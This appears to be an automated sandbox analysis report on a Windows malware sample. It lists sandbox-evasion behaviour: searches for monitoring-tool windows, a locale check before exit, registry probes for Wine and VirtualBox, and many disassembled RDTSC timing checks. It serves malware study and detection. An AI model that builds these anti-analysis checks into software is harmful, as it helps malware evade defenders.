Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00419270

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-57873

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64414C second address: 643A2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE4F91A0DF2h 0x0000000f nop 0x00000010 cmc 0x00000011 push dword ptr [ebp+122D1239h] 0x00000017 cmc 0x00000018 call dword ptr [ebp+122D1BCDh] 0x0000001e pushad 0x0000001f jmp 00007FE4F91A0DF9h 0x00000024 xor eax, eax 0x00000026 stc 0x00000027 mov edx, dword ptr [esp+28h] 0x0000002b mov dword ptr [ebp+122D1BECh], edi 0x00000031 mov dword ptr [ebp+122D2915h], eax 0x00000037 jmp 00007FE4F91A0DEBh 0x0000003c mov esi, 0000003Ch 0x00000041 mov dword ptr [ebp+122D1BECh], ecx 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D3097h], eax 0x00000051 lodsw 0x00000053 or dword ptr [ebp+122D3097h], edx 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d cld 0x0000005e mov dword ptr [ebp+122D1BECh], edx 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jo 00007FE4F91A0DF2h 0x0000006e jmp 00007FE4F91A0DECh 0x00000073 nop 0x00000074 push ebx 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FE4F91A0DECh 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC94C second address: 7BC956 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4F8E78892h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC956 second address: 7BC95C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC95C second address: 7BC968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007FE4F8E78886h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC968 second address: 7BC9AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DEEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FE4F91A0DF3h 0x00000014 jmp 00007FE4F91A0DF8h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB939 second address: 7BB945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE4F8E78886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB945 second address: 7BB952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FE4F91A0DE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBBB0 second address: 7BBBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBBB4 second address: 7BBC02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE4F91A0DE6h 0x00000008 jmp 00007FE4F91A0DEFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FE4F91A0DFBh 0x00000015 jmp 00007FE4F91A0DF3h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jnc 00007FE4F91A0DEEh 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jnp 00007FE4F91A0DE6h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC02 second address: 7BBC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC07 second address: 7BBC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC0D second address: 7BBC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC11 second address: 7BBC17 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBD47 second address: 7BBD76 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FE4F8E78899h 0x0000000c pop edi 0x0000000d push ebx 0x0000000e ja 00007FE4F8E78886h 0x00000014 pop ebx 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBD76 second address: 7BBD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEDC second address: 7BBEF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007FE4F8E78886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FE4F8E7888Ch 0x00000015 ja 00007FE4F8E78886h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC03D second address: 7BC04D instructions: 0x00000000 rdtsc 0x00000002 je 00007FE4F91A0DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC04D second address: 7BC051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE9D0 second address: 7BEA53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4F91A0DF8h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jnc 00007FE4F91A0DECh 0x00000015 jmp 00007FE4F91A0DF9h 0x0000001a popad 0x0000001b nop 0x0000001c mov dword ptr [ebp+122D23FEh], eax 0x00000022 mov ecx, edi 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FE4F91A0DE8h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 mov edi, dword ptr [ebp+122D2955h] 0x00000046 push D794360Eh 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEA53 second address: 7BEA57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEA57 second address: 7BEA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0F3B second address: 7D0F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD3CB second address: 7DD401 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE4F91A0DE6h 0x00000008 jmp 00007FE4F91A0DF7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 pop edi 0x00000014 push esi 0x00000015 pushad 0x00000016 js 00007FE4F91A0DE6h 0x0000001c jnp 00007FE4F91A0DE6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDB01 second address: 7DDB14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FE4F8E78886h 0x0000000b jng 00007FE4F8E78886h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDB14 second address: 7DDB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FE4F91A0DE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDB21 second address: 7DDB25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDF37 second address: 7DDF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDF3B second address: 7DDF5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FE4F8E78886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FE4F8E7888Eh 0x00000012 popad 0x00000013 pushad 0x00000014 ja 00007FE4F8E7888Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDF5F second address: 7DDF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE4F91A0DF8h 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE341 second address: 7DE346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE346 second address: 7DE38C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE4F91A0DFDh 0x00000008 jmp 00007FE4F91A0DF7h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jg 00007FE4F91A0DF3h 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE38C second address: 7DE390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE390 second address: 7DE39C instructions: 0x00000000 rdtsc 0x00000002 je 00007FE4F91A0DE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE39C second address: 7DE3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE3A2 second address: 7DE3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE3A6 second address: 7DE3B5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE4F8E78886h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE4FC second address: 7DE500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2820 second address: 7D2863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f ja 00007FE4F8E788A0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEBE8 second address: 7DEBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jno 00007FE4F91A0DE6h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2200 second address: 7E2204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2204 second address: 7E2218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DEAh 0x00000007 jg 00007FE4F91A0DE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2218 second address: 7E2227 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE4F8E7888Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5C61 second address: 7A5C82 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4F91A0DE6h 0x00000008 jmp 00007FE4F91A0DF2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5C82 second address: 7A5C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5C88 second address: 7A5C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5C8D second address: 7A5CA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FE4F8E78886h 0x00000009 jg 00007FE4F8E78886h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5CA5 second address: 7A5CC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5CC0 second address: 7A5CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5BEE second address: 7E5BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5BF2 second address: 7E5BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E438D second address: 7E4393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4393 second address: 7E43C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE4F8E78895h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E43C9 second address: 7E43CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E43CF second address: 7E43D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E43D3 second address: 7E43D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5CCC second address: 7E5CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB3BC second address: 7EB410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE4F91A0DE6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FE4F91A0DF3h 0x00000011 popad 0x00000012 jmp 00007FE4F91A0DF4h 0x00000017 js 00007FE4F91A0E04h 0x0000001d jmp 00007FE4F91A0DF8h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB86D second address: 7EB873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB873 second address: 7EB8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FE4F91A0DE8h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e jmp 00007FE4F91A0DF9h 0x00000013 jo 00007FE4F91A0DE6h 0x00000019 jnc 00007FE4F91A0DE6h 0x0000001f popad 0x00000020 popad 0x00000021 jo 00007FE4F91A0E03h 0x00000027 jmp 00007FE4F91A0DF5h 0x0000002c push ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB9F5 second address: 7EBA04 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE4F8E7888Ah 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBB7B second address: 7EBB81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCD2 second address: 7EDD11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78892h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5D09C8D8h 0x00000010 xor esi, 6E17A062h 0x00000016 call 00007FE4F8E78889h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007FE4F8E7888Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDD11 second address: 7EDD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE2BA second address: 7EE2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE93B second address: 7EE93F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE93F second address: 7EE94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FE4F8E78886h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFB59 second address: 7EFB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFB63 second address: 7EFBC6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE4F8E78886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jl 00007FE4F8E78886h 0x00000011 pop edx 0x00000012 popad 0x00000013 nop 0x00000014 jc 00007FE4F8E78890h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d sub eax, dword ptr [ebp+122D244Ah] 0x00000023 popad 0x00000024 push 00000000h 0x00000026 jbe 00007FE4F8E7888Eh 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122DB653h], ebx 0x00000034 xchg eax, ebx 0x00000035 jmp 00007FE4F8E78893h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FE4F8E78890h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0A97 second address: 7F0AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE4F91A0DEAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2F86 second address: 7F2FA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FE4F8E78893h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F35E4 second address: 7F3649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4F91A0DEDh 0x00000008 jnp 00007FE4F91A0DE6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FE4F91A0DE8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D2781h] 0x00000034 push 00000000h 0x00000036 ja 00007FE4F91A0DE6h 0x0000003c push 00000000h 0x0000003e mov edi, 15D0D7EDh 0x00000043 movsx esi, cx 0x00000046 push eax 0x00000047 pushad 0x00000048 push esi 0x00000049 jne 00007FE4F91A0DE6h 0x0000004f pop esi 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4C65 second address: 7F4C6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F49E1 second address: 7F49E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5704 second address: 7F5708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F96DF second address: 7F96FF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE4F91A0DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE4F91A0DF0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F96FF second address: 7F9705 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA723 second address: 7FA729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA729 second address: 7FA72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB570 second address: 7FB574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB574 second address: 7FB5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007FE4F8E78892h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FE4F8E78888h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov bx, 41A3h 0x0000002c push 00000000h 0x0000002e je 00007FE4F8E7888Ah 0x00000034 mov bx, 17B0h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007FE4F8E78888h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 